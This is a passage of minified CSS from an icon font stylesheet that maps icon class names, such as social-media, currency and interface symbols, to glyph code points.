n-emoji-neutral:before{content:"\e99c";}.icon-emoji-sad:before{content:"\e99d";}.icon-erase:before{content:"\e99e";}.icon-eraser2:before{content:"\e99f";}.icon-export:before{content:"\e9a0";}.icon-eye2:before{content:"\e9a1";}.icon-feather:before{content:"\e9a2";}.icon-flag2:before{content:"\e9a3";}.icon-flash2:before{content:"\e9a4";}.icon-flashlight:before{content:"\e9a5";}.icon-flat-brush:before{content:"\e9a6";}.icon-folder-images:before{content:"\e9a7";}.icon-folder-music:before{content:"\e9a8";}.icon-folder-video:before{content:"\e9a9";}.icon-folder2:before{content:"\e9aa";}.icon-forward2:before{content:"\e9ab";}.icon-funnel:before{content:"\e9ac";}.icon-game-controller:before{content:"\e9ad";}.icon-gauge:before{content:"\e9ae";}.icon-globe2:before{content:"\e9af";}.icon-graduation-cap2:before{content:"\e9b0";}.icon-grid:before{content:"\e9b1";}.icon-hair-cross:before{content:"\e9b2";}.icon-hand:before{content:"\e9b3";}.icon-heart-outlined:before{content:"\e9b4";}.icon-heart2:before{content:"\e9b5";}.icon-help-with-circle:before{content:"\e9b6";}.icon-help:before{content:"\e9b7";}.icon-home2:before{content:"\e9b8";}.icon-hour-glass:before{content:"\e9b9";}.icon-image-inverted:before{content:"\e9ba";}.icon-image2:before{content:"\e9bb";}.icon-images:before{content:"\e9bc";}.icon-inbox2:before{content:"\e9bd";}.icon-infinity:before{content:"\e9be";}.icon-info-with-circle:before{content:"\e9bf";}.icon-info2:before{content:"\e9c0";}.icon-key2:before{content:"\e9c1";}.icon-keyboard:before{content:"\e9c2";}.icon-lab-flask:before{content:"\e9c3";}.icon-landline:before{content:"\e9c4";}.icon-language2:before{content:"\e9c5";}.icon-laptop2:before{content:"\e9c6";}.icon-leaf2:before{content:"\e9c7";}.icon-level-down2:before{content:"\e9c8";}.icon-level-up2:before{content:"\e9c9";}.icon-lifebuoy:before{content:"\e9ca";}.icon-light-bulb:before{content:"\e9cb";}.icon-light-down:before{content:"\e9cc";}.icon-light-up:before{content:"\e9cd";}.icon-line-graph:before{content:"\e9ce";}.icon-link2:before{content:"\e9cf";}.icon-list2:before{content:"\e9d0";}.icon-location-pin:before{content:"\e9d1";}.icon-location:before{content:"\e9d2";}.icon-lock-open:before{content:"\e9d3";}.icon-lock2:before{content:"\e9d4";}.icon-log-out:before{content:"\e9d5";}.icon-login:before{content:"\e9d6";}.icon-loop:before{content:"\e9d7";}.icon-magnet2:before{content:"\e9d8";}.icon-magnifying-glass:before{content:"\e9d9";}.icon-mail:before{content:"\e9da";}.icon-man:before{content:"\e9db";}.icon-map2:before{content:"\e9dc";}.icon-mask:before{content:"\e9dd";}.icon-medal:before{content:"\e9de";}.icon-megaphone:before{content:"\e9df";}.icon-menu:before{content:"\e9e0";}.icon-message:before{content:"\e9e1";}.icon-mic:before{content:"\e9e2";}.icon-minus2:before{content:"\e9e3";}.icon-mobile2:before{content:"\e9e4";}.icon-modern-mic:before{content:"\e9e5";}.icon-moon:before{content:"\e9e6";}.icon-mouse:before{content:"\e9e7";}.icon-music2:before{content:"\e9e8";}.icon-network:before{content:"\e9e9";}.icon-new-message:before{content:"\e9ea";}.icon-new:before{content:"\e9eb";}.icon-news:before{content:"\e9ec";}.icon-note:before{content:"\e9ed";}.icon-notification:before{content:"\e9ee";}.icon-old-mobile:before{content:"\e9ef";}.icon-old-phone:before{content:"\e9f0";}.icon-palette:before{content:"\e9f1";}.icon-paper-plane2:before{content:"\e9f2";}.icon-pencil2:before{content:"\e9f3";}.icon-phone2:before{content:"\e9f4";}.icon-pie-chart2:before{content:"\e9f5";}.icon-pin:before{content:"\e9f6";}.icon-plus2:before{content:"\e9f7";}.icon-popup:before{content:"\e9f8";}.icon-power-plug:before{content:"\e9f9";}.icon-price-ribbon:before{content:"\e9fa";}.icon-price-tag:before{content:"\e9fb";}.icon-print2:before{content:"\e9fc";}.icon-progress-empty:before{content:"\e9fd";}.icon-progress-full:before{content:"\e9fe";}.icon-progress-one:before{content:"\e9ff";}.icon-progress-two:before{content:"\ea00";}.icon-publish:before{content:"\ea01";}.icon-quote:before{content:"\ea02";}.icon-radio:before{content:"\ea03";}.icon-reply-all2:before{content:"\ea04";}.icon-reply2:before{content:"\ea05";}.icon-retweet2:before{content:"\ea06";}.icon-rocket2:before{content:"\ea07";}.icon-round-brush:before{content:"\ea08";}.icon-rss2:before{content:"\ea09";}.icon-ruler:before{content:"\ea0a";}.icon-scissors2:before{content:"\ea0b";}.icon-share-alternitive:before{content:"\ea0c";}.icon-share2:before{content:"\ea0d";}.icon-shareable:before{content:"\ea0e";}.icon-shield2:before{content:"\ea0f";}.icon-shop:before{content:"\ea10";}.icon-shopping-bag2:before{content:"\ea11";}.icon-shopping-basket2:before{content:"\ea12";}.icon-shopping-cart2:before{content:"\ea13";}.icon-shuffle:before{content:"\ea14";}.icon-signal2:before{content:"\ea15";}.icon-sound-mix:before{content:"\ea16";}.icon-sports-club:before{content:"\ea17";}.icon-spreadsheet:before{content:"\ea18";}.icon-squared-cross:before{content:"\ea19";}.icon-squared-minus:before{content:"\ea1a";}.icon-squared-plus:before{content:"\ea1b";}.icon-star-outlined:before{content:"\ea1c";}.icon-star2:before{content:"\ea1d";}.icon-stopwatch:before{content:"\ea1e";}.icon-suitcase2:before{content:"\ea1f";}.icon-swap:before{content:"\ea20";}.icon-sweden:before{content:"\ea21";}.icon-switch:before{content:"\ea22";}.icon-tablet2:before{content:"\ea23";}.icon-tag2:before{content:"\ea24";}.icon-text-document-inverted:before{content:"\ea25";}.icon-text-document:before{content:"\ea26";}.icon-text:before{content:"\ea27";}.icon-thermometer:before{content:"\ea28";}.icon-thumbs-down2:before{content:"\ea29";}.icon-thumbs-up2:before{content:"\ea2a";}.icon-thunder-cloud:before{content:"\ea2b";}.icon-ticket2:before{content:"\ea2c";}.icon-time-slot:before{content:"\ea2d";}.icon-tools:before{content:"\ea2e";}.icon-traffic-cone:before{content:"\ea2f";}.icon-tree2:before{content:"\ea30";}.icon-trophy2:before{content:"\ea31";}.icon-tv2:before{content:"\ea32";}.icon-typing:before{content:"\ea33";}.icon-unread:before{content:"\ea34";}.icon-untag:before{content:"\ea35";}.icon-user2:before{content:"\ea36";}.icon-users2:before{content:"\ea37";}.icon-v-card:before{content:"\ea38";}.icon-video:before{content:"\ea39";}.icon-vinyl:before{content:"\ea3a";}.icon-voicemail:before{content:"\ea3b";}.icon-wallet:before{content:"\ea3c";}.icon-water:before{content:"\ea3d";}.icon-500px-with-circle:before{content:"\ea3e";}.icon-500px2:before{content:"\ea3f";}.icon-basecamp:before{content:"\ea40";}.icon-behance2:before{content:"\ea41";}.icon-creative-cloud:before{content:"\ea42";}.icon-dropbox2:before{content:"\ea43";}.icon-evernote:before{content:"\ea44";}.icon-flattr:before{content:"\ea45";}.icon-foursquare2:before{content:"\ea46";}.icon-google-drive:before{content:"\ea47";}.icon-google-hangouts:before{content:"\ea48";}.icon-grooveshark:before{content:"\ea49";}.icon-icloud:before{content:"\ea4a";}.icon-mixi:before{content:"\ea4b";}.icon-onedrive:before{content:"\ea4c";}.icon-paypal2:before{content:"\ea4d";}.icon-picasa:before{content:"\ea4e";}.icon-qq2:before{content:"\ea4f";}.icon-rdio-with-circle:before{content:"\ea50";}.icon-renren2:before{content:"\ea51";}.icon-scribd2:before{content:"\ea52";}.icon-sina-weibo:before{content:"\ea53";}.icon-skype-with-circle:before{content:"\ea54";}.icon-skype2:before{content:"\ea55";}.icon-slideshare2:before{content:"\ea56";}.icon-smashing:before{content:"\ea57";}.icon-soundcloud2:before{content:"\ea58";}.icon-spotify-with-circle:before{content:"\ea59";}.icon-spotify2:before{content:"\ea5a";}.icon-swarm:before{content:"\ea5b";}.icon-vine-with-circle:before{content:"\ea5c";}.icon-vine2:before{content:"\ea5d";}.icon-vk-alternitive:before{content:"\ea5e";}.icon-vk-with-circle:before{content:"\ea5f";}.icon-vk2:before{content:"\ea60";}.icon-xing-with-circle:before{content:"\ea61";}.icon-xing2:before{content:"\ea62";}.icon-yelp2:before{content:"\ea63";}.icon-dribbble-with-circle:before{content:"\ea64";}.icon-dribbble2:before{content:"\ea65";}.icon-facebook-with-circle:before{content:"\ea66";}.icon-facebook2:before{content:"\ea67";}.icon-flickr-with-circle:before{content:"\ea68";}.icon-flickr2:before{content:"\ea69";}.icon-github-with-circle:before{content:"\ea6a";}.icon-github2:before{content:"\ea6b";}.icon-google-with-circle:before{content:"\ea6c";}.icon-google2:before{content:"\ea6d";}.icon-instagram-with-circle:before{content:"\ea6e";}.icon-instagram2:before{content:"\ea6f";}.icon-lastfm-with-circle:before{content:"\ea70";}.icon-lastfm2:before{content:"\ea71";}.icon-linkedin-with-circle:before{content:"\ea72";}.icon-linkedin2:before{content:"\ea73";}.icon-pinterest-with-circle:before{content:"\ea74";}.icon-pinterest2:before{content:"\ea75";}.icon-rdio:before{content:"\ea76";}.icon-stumbleupon-with-circle:before{content:"\ea77";}.icon-stumbleupon2:before{content:"\ea78";}.icon-tumblr-with-circle:before{content:"\ea79";}.icon-tumblr2:before{content:"\ea7a";}.icon-twitter-with-circle:before{content:"\ea7b";}.icon-twitter2:before{content:"\ea7c";}.icon-vimeo-with-circle:before{content:"\ea7d";}.icon-vimeo2:before{content:"\ea7e";}.icon-youtube-with-circle:before{content:"\ea7f";}.icon-youtube2:before{content:"\ea80";}.icon-glass:before{content:"\f000";}.icon-music:before{content:"\f001";}.icon-search:before{content:"\f002";}.icon-envelope-o:before{content:"\f003";}.icon-heart:before{content:"\f004";}.icon-star:before{content:"\f005";}.icon-star-o:before{content:"\f006";}.icon-user:before{content:"\f007";}.icon-film:before{content:"\f008";}.icon-th-large:before{content:"\f009";}.icon-th:before{content:"\f00a";}.icon-th-list:before{content:"\f00b";}.icon-check:before{content:"\f00c";}.icon-close:before{content:"\f00d";}.icon-remove:before{content:"\f00d";}.icon-times:before{content:"\f00d";}.icon-search-plus:before{content:"\f00e";}.icon-search-minus:before{content:"\f010";}.icon-power-off:before{content:"\f011";}.icon-signal:before{content:"\f012";}.icon-cog:before{content:"\f013";}.icon-gear:before{content:"\f013";}.icon-trash-o:before{content:"\f014";}.icon-home:before{content:"\f015";}.icon-file-o:before{content:"\f016";}.icon-clock-o:before{content:"\f017";}.icon-road:before{content:"\f018";}.icon-download:before{content:"\f019";}.icon-arrow-circle-o-down:before{content:"\f01a";}.icon-arrow-circle-o-up:before{content:"\f01b";}.icon-inbox:before{content:"\f01c";}.icon-play-circle-o:before{content:"\f01d";}.icon-repeat:before{content:"\f01e";}.icon-rotate-right:before{content:"\f01e";}.icon-refresh:before{content:"\f021";}.icon-list-alt:before{content:"\f022";}.icon-lock:before{content:"\f023";}.icon-flag:before{content:"\f024";}.icon-headphones:before{content:"\f025";}.icon-volume-off:before{content:"\f026";}.icon-volume-down:before{content:"\f027";}.icon-volume-up:before{content:"\f028";}.icon-qrcode:before{content:"\f029";}.icon-barcode:before{content:"\f02a";}.icon-tag:before{content:"\f02b";}.icon-tags:before{content:"\f02c";}.icon-book:before{content:"\f02d";}.icon-bookmark:before{content:"\f02e";}.icon-print:before{content:"\f02f";}.icon-camera:before{content:"\f030";}.icon-font:before{content:"\f031";}.icon-bold:before{content:"\f032";}.icon-italic:before{content:"\f033";}.icon-text-height:before{content:"\f034";}.icon-text-width:before{content:"\f035";}.icon-align-left:before{content:"\f036";}.icon-align-center:before{content:"\f037";}.icon-align-right:before{content:"\f038";}.icon-align-justify:before{content:"\f039";}.icon-list:before{content:"\f03a";}.icon-dedent:before{content:"\f03b";}.icon-outdent:before{content:"\f03b";}.icon-indent:before{content:"\f03c";}.icon-video-camera:before{content:"\f03d";}.icon-image:before{content:"\f03e";}.icon-photo:before{content:"\f03e";}.icon-picture-o:before{content:"\f03e";}.icon-pencil:before{content:"\f040";}.icon-map-marker:before{content:"\f041";}.icon-adjust:before{content:"\f042";}.icon-tint:before{content:"\f043";}.icon-edit:before{content:"\f044";}.icon-pencil-square-o:before{content:"\f044";}.icon-share-square-o:before{content:"\f045";}.icon-check-square-o:before{content:"\f046";}.icon-arrows:before{content:"\f047";}.icon-step-backward:before{content:"\f048";}.icon-fast-backward:before{content:"\f049";}.icon-backward:before{content:"\f04a";}.icon-play:before{content:"\f04b";}.icon-pause:before{content:"\f04c";}.icon-stop:before{content:"\f04d";}.icon-forward:before{content:"\f04e";}.icon-fast-forward:before{content:"\f050";}.icon-step-forward:before{content:"\f051";}.icon-eject:before{content:"\f052";}.icon-chevron-left:before{content:"\f053";}.icon-chevron-right:before{content:"\f054";}.icon-plus-circle:before{content:"\f055";}.icon-minus-circle:before{content:"\f056";}.icon-times-circle:before{content:"\f057";}.icon-check-circle:before{content:"\f058";}.icon-question-circle:before{content:"\f059";}.icon-info-circle:before{content:"\f05a";}.icon-crosshairs:before{content:"\f05b";}.icon-times-circle-o:before{content:"\f05c";}.icon-check-circle-o:before{content:"\f05d";}.icon-ban:before{content:"\f05e";}.icon-arrow-left:before{content:"\f060";}.icon-arrow-right:before{content:"\f061";}.icon-arrow-up:before{content:"\f062";}.icon-arrow-down:before{content:"\f063";}.icon-mail-forward:before{content:"\f064";}.icon-share:before{content:"\f064";}.icon-expand:before{content:"\f065";}.icon-compress:before{content:"\f066";}.icon-plus:before{content:"\f067";}.icon-minus:before{content:"\f068";}.icon-asterisk:before{content:"\f069";}.icon-exclamation-circle:before{content:"\f06a";}.icon-gift:before{content:"\f06b";}.icon-leaf:before{content:"\f06c";}.icon-fire:before{content:"\f06d";}.icon-eye:before{content:"\f06e";}.icon-eye-slash:before{content:"\f070";}.icon-exclamation-triangle:before{content:"\f071";}.icon-warning:before{content:"\f071";}.icon-plane:before{content:"\f072";}.icon-calendar:before{content:"\f073";}.icon-random:before{content:"\f074";}.icon-comment:before{content:"\f075";}.icon-magnet:before{content:"\f076";}.icon-chevron-up:before{content:"\f077";}.icon-chevron-down:before{content:"\f078";}.icon-retweet:before{content:"\f079";}.icon-shopping-cart:before{content:"\f07a";}.icon-folder:before{content:"\f07b";}.icon-folder-open:before{content:"\f07c";}.icon-arrows-v:before{content:"\f07d";}.icon-arrows-h:before{content:"\f07e";}.icon-bar-chart:before{content:"\f080";}.icon-bar-chart-o:before{content:"\f080";}.icon-twitter-square:before{content:"\f081";}.icon-facebook-square:before{content:"\f082";}.icon-camera-retro:before{content:"\f083";}.icon-key:before{content:"\f084";}.icon-cogs:before{content:"\f085";}.icon-gears:before{content:"\f085";}.icon-comments:before{content:"\f086";}.icon-thumbs-o-up:before{content:"\f087";}.icon-thumbs-o-down:before{content:"\f088";}.icon-star-half:before{content:"\f089";}.icon-heart-o:before{content:"\f08a";}.icon-sign-out:before{content:"\f08b";}.icon-linkedin-square:before{content:"\f08c";}.icon-thumb-tack:before{content:"\f08d";}.icon-external-link:before{content:"\f08e";}.icon-sign-in:before{content:"\f090";}.icon-trophy:before{content:"\f091";}.icon-github-square:before{content:"\f092";}.icon-upload:before{content:"\f093";}.icon-lemon-o:before{content:"\f094";}.icon-phone:before{content:"\f095";}.icon-square-o:before{content:"\f096";}.icon-bookmark-o:before{content:"\f097";}.icon-phone-square:before{content:"\f098";}.icon-twitter:before{content:"\f099";}.icon-facebook:before{content:"\f09a";}.icon-facebook-f:before{content:"\f09a";}.icon-github:before{content:"\f09b";}.icon-unlock:before{content:"\f09c";}.icon-credit-card:before{content:"\f09d";}.icon-feed:before{content:"\f09e";}.icon-rss:before{content:"\f09e";}.icon-hdd-o:before{content:"\f0a0";}.icon-bullhorn:before{content:"\f0a1";}.icon-bell-o:before{content:"\f0a2";}.icon-certificate:before{content:"\f0a3";}.icon-hand-o-right:before{content:"\f0a4";}.icon-hand-o-left:before{content:"\f0a5";}.icon-hand-o-up:before{content:"\f0a6";}.icon-hand-o-down:before{content:"\f0a7";}.icon-arrow-circle-left:before{content:"\f0a8";}.icon-arrow-circle-right:before{content:"\f0a9";}.icon-arrow-circle-up:before{content:"\f0aa";}.icon-arrow-circle-down:before{content:"\f0ab";}.icon-globe:before{content:"\f0ac";}.icon-wrench:before{content:"\f0ad";}.icon-tasks:before{content:"\f0ae";}.icon-filter:before{content:"\f0b0";}.icon-briefcase:before{content:"\f0b1";}.icon-arrows-alt:before{content:"\f0b2";}.icon-group:before{content:"\f0c0";}.icon-users:before{content:"\f0c0";}.icon-chain:before{content:"\f0c1";}.icon-link:before{content:"\f0c1";}.icon-cloud:before{content:"\f0c2";}.icon-flask:before{content:"\f0c3";}.icon-cut:before{content:"\f0c4";}.icon-scissors:before{content:"\f0c4";}.icon-copy:before{content:"\f0c5";}.icon-files-o:before{content:"\f0c5";}.icon-paperclip:before{content:"\f0c6";}.icon-floppy-o:before{content:"\f0c7";}.icon-save:before{content:"\f0c7";}.icon-square:before{content:"\f0c8";}.icon-bars:before{content:"\f0c9";}.icon-navicon:before{content:"\f0c9";}.icon-reorder:before{content:"\f0c9";}.icon-list-ul:before{content:"\f0ca";}.icon-list-ol:before{content:"\f0cb";}.icon-strikethrough:before{content:"\f0cc";}.icon-underline:before{content:"\f0cd";}.icon-table:before{content:"\f0ce";}.icon-magic:before{content:"\f0d0";}.icon-truck:before{content:"\f0d1";}.icon-pinterest:before{content:"\f0d2";}.icon-pinterest-square:before{content:"\f0d3";}.icon-google-plus-square:before{content:"\f0d4";}.icon-google-plus:before{content:"\f0d5";}.icon-money:before{content:"\f0d6";}.icon-caret-down:before{content:"\f0d7";}.icon-caret-up:before{content:"\f0d8";}.icon-caret-left:before{content:"\f0d9";}.icon-caret-right:before{content:"\f0da";}.icon-columns:before{content:"\f0db";}.icon-sort:before{content:"\f0dc";}.icon-unsorted:before{content:"\f0dc";}.icon-sort-desc:before{content:"\f0dd";}.icon-sort-down:before{content:"\f0dd";}.icon-sort-asc:before{content:"\f0de";}.icon-sort-up:before{content:"\f0de";}.icon-envelope:before{content:"\f0e0";}.icon-linkedin:before{content:"\f0e1";}.icon-rotate-left:before{content:"\f0e2";}.icon-undo:before{content:"\f0e2";}.icon-gavel:before{content:"\f0e3";}.icon-legal:before{content:"\f0e3";}.icon-dashboard:before{content:"\f0e4";}.icon-tachometer:before{content:"\f0e4";}.icon-comment-o:before{content:"\f0e5";}.icon-comments-o:before{content:"\f0e6";}.icon-bolt:before{content:"\f0e7";}.icon-flash:before{content:"\f0e7";}.icon-sitemap:before{content:"\f0e8";}.icon-umbrella:before{content:"\f0e9";}.icon-clipboard:before{content:"\f0ea";}.icon-paste:before{content:"\f0ea";}.icon-lightbulb-o:before{content:"\f0eb";}.icon-exchange:before{content:"\f0ec";}.icon-cloud-download:before{content:"\f0ed";}.icon-cloud-upload:before{content:"\f0ee";}.icon-user-md:before{content:"\f0f0";}.icon-stethoscope:before{content:"\f0f1";}.icon-suitcase:before{content:"\f0f2";}.icon-bell:before{content:"\f0f3";}.icon-coffee:before{content:"\f0f4";}.icon-cutlery:before{content:"\f0f5";}.icon-file-text-o:before{content:"\f0f6";}.icon-building-o:before{content:"\f0f7";}.icon-hospital-o:before{content:"\f0f8";}.icon-ambulance:before{content:"\f0f9";}.icon-medkit:before{content:"\f0fa";}.icon-fighter-jet:before{content:"\f0fb";}.icon-beer:before{content:"\f0fc";}.icon-h-square:before{content:"\f0fd";}.icon-plus-square:before{content:"\f0fe";}.icon-angle-double-left:before{content:"\f100";}.icon-angle-double-right:before{content:"\f101";}.icon-angle-double-up:before{content:"\f102";}.icon-angle-double-down:before{content:"\f103";}.icon-angle-left:before{content:"\f104";}.icon-angle-right:before{content:"\f105";}.icon-angle-up:before{content:"\f106";}.icon-angle-down:before{content:"\f107";}.icon-desktop:before{content:"\f108";}.icon-laptop:before{content:"\f109";}.icon-tablet:before{content:"\f10a";}.icon-mobile:before{content:"\f10b";}.icon-mobile-phone:before{content:"\f10b";}.icon-circle-o:before{content:"\f10c";}.icon-quote-left:before{content:"\f10d";}.icon-quote-right:before{content:"\f10e";}.icon-spinner:before{content:"\f110";}.icon-circle:before{content:"\f111";}.icon-mail-reply:before{content:"\f112";}.icon-reply:before{content:"\f112";}.icon-github-alt:before{content:"\f113";}.icon-folder-o:before{content:"\f114";}.icon-folder-open-o:before{content:"\f115";}.icon-smile-o:before{content:"\f118";}.icon-frown-o:before{content:"\f119";}.icon-meh-o:before{content:"\f11a";}.icon-gamepad:before{content:"\f11b";}.icon-keyboard-o:before{content:"\f11c";}.icon-flag-o:before{content:"\f11d";}.icon-flag-checkered:before{content:"\f11e";}.icon-terminal:before{content:"\f120";}.icon-code:before{content:"\f121";}.icon-mail-reply-all:before{content:"\f122";}.icon-reply-all:before{content:"\f122";}.icon-star-half-empty:before{content:"\f123";}.icon-star-half-full:before{content:"\f123";}.icon-star-half-o:before{content:"\f123";}.icon-location-arrow:before{content:"\f124";}.icon-crop:before{content:"\f125";}.icon-code-fork:before{content:"\f126";}.icon-chain-broken:before{content:"\f127";}.icon-unlink:before{content:"\f127";}.icon-question:before{content:"\f128";}.icon-info:before{content:"\f129";}.icon-exclamation:before{content:"\f12a";}.icon-superscript:before{content:"\f12b";}.icon-subscript:before{content:"\f12c";}.icon-eraser:before{content:"\f12d";}.icon-puzzle-piece:before{content:"\f12e";}.icon-microphone:before{content:"\f130";}.icon-microphone-slash:before{content:"\f131";}.icon-shield:before{content:"\f132";}.icon-calendar-o:before{content:"\f133";}.icon-fire-extinguisher:before{content:"\f134";}.icon-rocket:before{content:"\f135";}.icon-maxcdn:before{content:"\f136";}.icon-chevron-circle-left:before{content:"\f137";}.icon-chevron-circle-right:before{content:"\f138";}.icon-chevron-circle-up:before{content:"\f139";}.icon-chevron-circle-down:before{content:"\f13a";}.icon-html5:before{content:"\f13b";}.icon-css3:before{content:"\f13c";}.icon-anchor:before{content:"\f13d";}.icon-unlock-alt:before{content:"\f13e";}.icon-bullseye:before{content:"\f140";}.icon-ellipsis-h:before{content:"\f141";}.icon-ellipsis-v:before{content:"\f142";}.icon-rss-square:before{content:"\f143";}.icon-play-circle:before{content:"\f144";}.icon-ticket:before{content:"\f145";}.icon-minus-square:before{content:"\f146";}.icon-minus-square-o:before{content:"\f147";}.icon-level-up:before{content:"\f148";}.icon-level-down:before{content:"\f149";}.icon-check-square:before{content:"\f14a";}.icon-pencil-square:before{content:"\f14b";}.icon-external-link-square:before{content:"\f14c";}.icon-share-square:before{content:"\f14d";}.icon-compass:before{content:"\f14e";}.icon-caret-square-o-down:before{content:"\f150";}.icon-toggle-down:before{content:"\f150";}.icon-caret-square-o-up:before{content:"\f151";}.icon-toggle-up:before{content:"\f151";}.icon-caret-square-o-right:before{content:"\f152";}.icon-toggle-right:before{content:"\f152";}.icon-eur:before{content:"\f153";}.icon-euro:before{content:"\f153";}.icon-gbp:before{content:"\f154";}.icon-dollar:before{content:"\f155";}.icon-usd:before{content:"\f155";}.icon-inr:before{content:"\f156";}.icon-rupee:before{content:"\f156";}.icon-cny:before{content:"\f157";}.icon-jpy:before{content:"\f157";}.icon-rmb:before{content:"\f157";}.icon-yen:before{content:"\f157";}.icon-rouble:before{content:"\f158";}.icon-rub:before{content:"\f158";}.icon-ruble:before{content:"\f158";}.icon-krw:before{content:"\f159";}.icon-won:before{content:"\f159";}.icon-bitcoin:before{content:"\f15a";}.icon-btc:before{content:"\f15a";}.icon-file:before{content:"\f15b";}.icon-file-text:before{content:"\f15c";}.icon-sort-alpha-asc:before{content:"\f15d";}.icon-sort-alpha-desc:before{content:"\f15e";}.icon-sort-amount-asc:before{content:"\f160";}.icon-sort-amount-desc:before{content:"\f161";}.icon-sort-numeric-asc:before{content:"\f162";}.icon-sort-numeric-desc:before{content:"\f163";}.icon-thumbs-up:before{content:"\f164";}.icon-thumbs-down:before{content:"\f165";}.icon-youtube-square:before{content:"\f166";}.icon-youtube:before{content:"\f167";}.icon-xing:before{content:"\f168";}.icon-xing-square:before{content:"\f169";}.icon-youtube-play:before{content:"\f16a";}.icon-dropbox:before{content:"\f16b";}.icon-stack-overflow:before{content:"\f16c";}.icon-instagram:before{content:"\f16d";}.icon-flickr:before{content:"\f16e";}.icon-adn:before{content:"\f170";}.icon-bitbucket:before{content:"\f171";}.icon-bitbucket-square:before{content:"\f172";}.icon-tumblr:before{content:"\f173";}.icon-tumblr-square:before{content:"\f174";}.icon-long-arrow-down:before{content:"\f175";}.icon-long-arrow-up:before{content:"\f176";}.icon-long-arrow-left:before{content:"\f177";}.icon-long-arrow-right:before{content:"\f178";}.icon-apple:before{content:"\f179";}.icon-windows:before{content:"\f17a";}.icon-android:before{content:"\f17b";}.icon-linux:before{content:"\f17c";}.icon-dribbble:before{content:"\f17d";}.icon-skype:before{content:"\f17e";}.icon-foursquare:before{content:"\f180";}.icon-trello:before{content:"\f181";}.icon-female:before{content:"\f182";}.icon-male:before{content:"\f183";}.icon-gittip:before{content:"\f184";}.icon-gratipay:before{content:"\f184";}.icon-sun-o:before{content:"\f185";}.icon-moon-o:before{content:"\f186";}.icon-archive:before{content:"\f187";}.icon-bug:before{content:"\f188";}.icon-vk:before{content:"\f189";}.icon-weibo:before{content:"\f18a";}.icon-renren:before{content:"\f18b";}.icon-pagelines:before{content:"\f18c";}.icon-stack-exchange:before{content:"\f18d";}.icon-arrow-circle-o-right:before{content:"\f18e";}.icon-arrow-circle-o-left:before{content:"\f190";}.icon-caret-square-o-left:before{content:"\f191";}.icon-toggle-left:before{content:"\f191";}.icon-dot-circle-o:before{content:"\f192";}.icon-wheelchair:before{content:"\f193";}.icon-vimeo-square:before{content:"\f194";}.icon-try:before{content:"\f195";}.icon-turkish-lira:before{content:"\f195";}.icon-plus-square-o:before{content:"\f196";}.icon-space-shuttle:before{content:"\f197";}.icon-slack:before{content:"\f198";}.icon-envelope-square:before{content:"\f199";}.icon-wordpress:before{content:"\f19a";}.icon-openid:before{content:"\f19b";}.icon-bank:before{content:"\f19c";}.icon-institution:before{content:"\f19c";}.icon-university:before{content:"\f19c";}.icon-graduation-cap:before{content:"\f19d";}.icon-mortar-board:before{content:"\f19d";}.icon-yahoo:before{content:"\f19e";}.icon-google:before{content:"\f1a0";}.icon-reddit:before{content:"\f1a1";}.icon-reddit-square:before{content:"\f1a2";}.icon-stumbleupon-circle:before{content:"\f1a3";}.icon-stumbleupon:before{content:"\f1a4";}.icon-delicious:before{content:"\f1a5";}.icon-digg:before{content:"\f1a6";}.icon-pied-piper:before{content:"\f1a7";}.icon-pied-piper-alt:before{content:"\f1a8";}.icon-drupal:before{content:"\f1a9";}.icon-joomla:before{content:"\f1aa";}.icon-language:before{content:"\f1ab";}.icon-fax:before{content:"\f1ac";}.icon-building:before{content:"\f1ad";}.icon-child:before{content:"\f1ae";}.icon-paw:before{content:"\f1b0";}.icon-spoon:before{content:"\f1b1";}.icon-cube:before{content:"\f1b2";}.icon-cubes:before{content:"\f1b3";}.icon-behance:before{content:"\f1b4";}.icon-behance-square:before{content:"\f1b5";}.icon-steam:before{content:"\f1b6";}.icon-steam-square:before{content:"\f1b7";}.icon-recycle:before{content:"\f1b8";}.icon-automobile:before{content:"\f1b9";}.icon-car:before{content:"\f1b9";}.icon-cab:before{content:"\f1ba";}.icon-taxi:before{content:"\f1ba";}.icon-tree:before{content:"\f1bb";}.icon-spotify:before{content:"\f1bc";}.icon-deviantart:before{content:"\f1bd";}.icon-soundcloud:before{content:"\f1be";}.icon-database:before{content:"\f1c0";}.icon-file-pdf-o:before{content:"\f1c1";}.icon-file-word-o:before{content:"\f1c2";}.icon-file-excel-o:before{content:"\f1c3";}.icon-file-powerpoint-o:before{content:"\f1c4";}.icon-file-image-o:before{content:"\f1c5";}.icon-file-photo-o:before{content:"\f1c5";}.icon-file-picture-o:before{content:"\f1c5";}.icon-file-archive-o:before{content:"\f1c6";}.icon-file-zip-o:before{content:"\f1c6";}.icon-file-audio-o:before{content:"\f1c7";}.icon-file-sound-o:before{content:"\f1c7";}.icon-file-movie-o:before{content:"\f1c8";}.icon-file-video-o:before{content:"\f1c8";}.icon-file-code-o:before{content:"\f1c9";}.icon-vine:before{content:"\f1ca";}.icon-codepen:before{content:"\f1cb";}.icon-jsfiddle:before{content:"\f1cc";}.icon-life-bouy:before{content:"\f1cd";}.icon-life-buoy:before{content:"\f1cd";}.icon-life-ring:before{content:"\f1cd";}.icon-life-saver:before{content:"\f1cd";}.icon-support:before{content:"\f1cd";}.icon-circle-o-notch:before{content:"\f1ce";}.icon-ra:before{content:"\f1d0";}.icon-rebel:before{content:"\f1d0";}.icon-empire:before{content:"\f1d1";}.icon-ge:before{content:"\f1d1";}.icon-git-square:before{content:"\f1d2";}.icon-git:before{content:"\f1d3";}.icon-hacker-news:before{content:"\f1d4";}.icon-y-combinator-square:before{content:"\f1d4";}.icon-yc-square:before{content:"\f1d4";}.icon-tencent-weibo:before{content:"\f1d5";}.icon-qq:before{content:"\f1d6";}.icon-wechat:before{content:"\f1d7";}.icon-weixin:before{content:"\f1d7";}.icon-paper-plane:before{content:"\f1d8";}.icon-send:before{content:"\f1d8";}.icon-paper-plane-o:before{content:"\f1d9";}.icon-send-o:before{content:"\f1d9";}.icon-history:before{content:"\f1da";}.icon-circle-thin:before{content:"\f1db";}.icon-header:before{content:"\f1dc";}.icon-paragraph:before{content:"\f1dd";}.icon-sliders:before{content:"\f1de";}.icon-share-alt:before{content:"\f1e0";}.icon-share-alt-square:before{content:"\f1e1";}.icon-bomb:before{content:"\f1e2";}.icon-futbol-o:before{content:"\f1e3";}.icon-soccer-ball-o:before{content:"\f1e3";}.icon-tty:before{content:"\f1e4";}.icon-binoculars:before{content:"\f1e5";}.icon-plug:before{content:"\f1e6";}.icon-slideshare:before{content:"\f1e7";}.icon-twitch:before{content:"\f1e8";}.icon-yelp:before{content:"\f1e9";}.icon-newspaper-o:before{content:"\f1ea";}.icon-wifi:before{content:"\f1eb";}.icon-cal